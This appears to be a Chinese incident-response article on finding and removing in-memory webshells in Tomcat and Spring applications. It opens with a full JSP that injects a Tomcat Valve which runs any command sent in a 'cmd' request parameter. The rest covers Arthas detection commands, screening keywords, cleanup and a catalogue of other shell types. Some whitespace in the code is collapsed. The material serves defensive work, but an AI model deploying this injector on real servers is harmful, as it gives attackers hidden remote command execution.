Tomcat-Valve内存马
哥斯拉不支持该类型内存马植入,只能用脚本方式植入
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
FieldrequestField= request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
finalRequestrequest1= (Request) requestField.get(request);
StandardContextstandardContext= (StandardContext) request1.getContext();
FieldpipelineField= ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipelinestandardPipeline1= (StandardPipeline) pipelineField.get(standardContext);
ValveBasevalveBase=newValveBase() {
@Override
publicvoidinvoke(Request request, Response response)throws ServletException,IOException {
if (request.getParameter("cmd") != null) {
booleanisLinux=true;
StringosTyp= System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? newString[]{"sh", "-c", request.getParameter("cmd")} : newString[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStreamin= Runtime.getRuntime().exec(cmds).getInputStream();
Scanners=newScanner(in).useDelimiter("\A");
Stringoutput= s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
this.getNext().invoke(request, response);
}
}
};
standardPipeline1.addValve(valveBase);
out.println("evil valve inject done!");
%>
尝试通过scanner脚本查杀,发现脚本已经无法正常打开了
通过GUI工具进行查杀分析成功找到对应的Valve内存马,可进行查杀
通过Arthas工具进行分析
sc * | grep valve
jad --source-only org.apache.jsp.valve_jsp
总结
无法通过scanner脚本进行分析,有别于传统的内存马查杀方式,传统内存马这三种都可以,但是遇到这种类型就没法通过scanner脚本查杀,得通过GUI工具或者Arthas进行分析定性。
Spring框架内存马
-
1. Spring Controller型内存马:动态注册Controller及映射路由。 -
2. Spring Interceptor型内存马:动态注册Interceptor及映射路由。 -
3. Spring Webflux型内存马:动态注册WebFilter及映射路由。
遇到框架型的内存马,我们就没法通过scanner脚本,GUI工具来进行查杀了,我们只能通过Arthas工具进行分析。
因为这些SpringBoot框架启动基本都是jar包启动,不放在Tomcat下,我们的scanner脚本基本派不上用场。
Controller型&Interceptor型内存马
通过Arthas排查
sc * | grep Controller
jad --source-only com.example.springinject.demos.web.myInjectController3
sc * | grep Interceptor
Webflux型内存马
先行在靶场植入内存马,尝试通过哥斯拉进行连接
通过Arthas排查
sc * | grep Webflux
在这种情况出现的时候,我们就得换一种方式了,通过内存马的常见关键字进行筛查:
-
1. memshell -
2. shell -
3. os -
4. runtime -
5. .......
jad --source-only com.example.webfluxmem.WebFluxFilterMemshell
这种也是没办法的办法,如果攻击者换一种的话基本就查不出来了,所以说内存马的查杀还是很有门道的,目前针对这种情况没有很好的解决方案。
如何清除内存马
上面我们在内存中分析定性了内存马是哪些类文件,而这些类文件又不像Tomcat有文件目录,他们都在jar包中,我们要怎么进行清除呢?
首先要先停止jar包的运行,然后通过压缩软件打开jar包删除恶意类
重新启动之后就不存在内存马了
蓝队排查思路总结
-
1. 先进行资产的梳理,确认采用的组织架构,如:中间件(Tomcat)、开发框架(SpringBoot)等 -
2. 对应查找可能存在的内存马技术,如:Tomcat-Valve、Spring Controller型、传统内存马 -
3. 基于上述信息,我们可以确定我们要采用的分析工具,如:传统则都可用、Spring只能用Arthas等 -
4. 确认采用的分析工具之后进行分析定性,如:Arthas通过命令查找对应的后缀,jad查看反编译源码,dump文件分析定性等 -
5. 定性之后,通过脚本或者其他工具、手工进行内存马的清除 -
6. 最后重启服务观察内存马是否仍然存在
待补充
Tomcat其他类型(如Upgrade、Executor、Poller)的内存马:
-
1. 这些内存马会动态替换或添加全局组件。
其他中间件(如Grizzly)的内存马:
-
1. 动态注册Filter及映射路由。
其他内存马(特殊情况下才能实现植入):
-
1. WebSocket型内存马:动态注册WebSocket路由及处理逻辑。 -
2. Tomcat JSP型内存马:动态注册Tomcat JSP管理逻辑并实现驻留。 -
3. 线程型内存马:启动一个无法被杀死的线程。 -
4. RMI型内存马:动态启动一个RMI Registry。
Agent型内存马:
通过Hook并修改关键方法添加恶意逻辑。Agent型内存马在现代webshell管理工具中有广泛实现。
原文始发于微信公众号(ElmWhite安全小记):应急响应-Spring框架内存马定性与其他补充内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论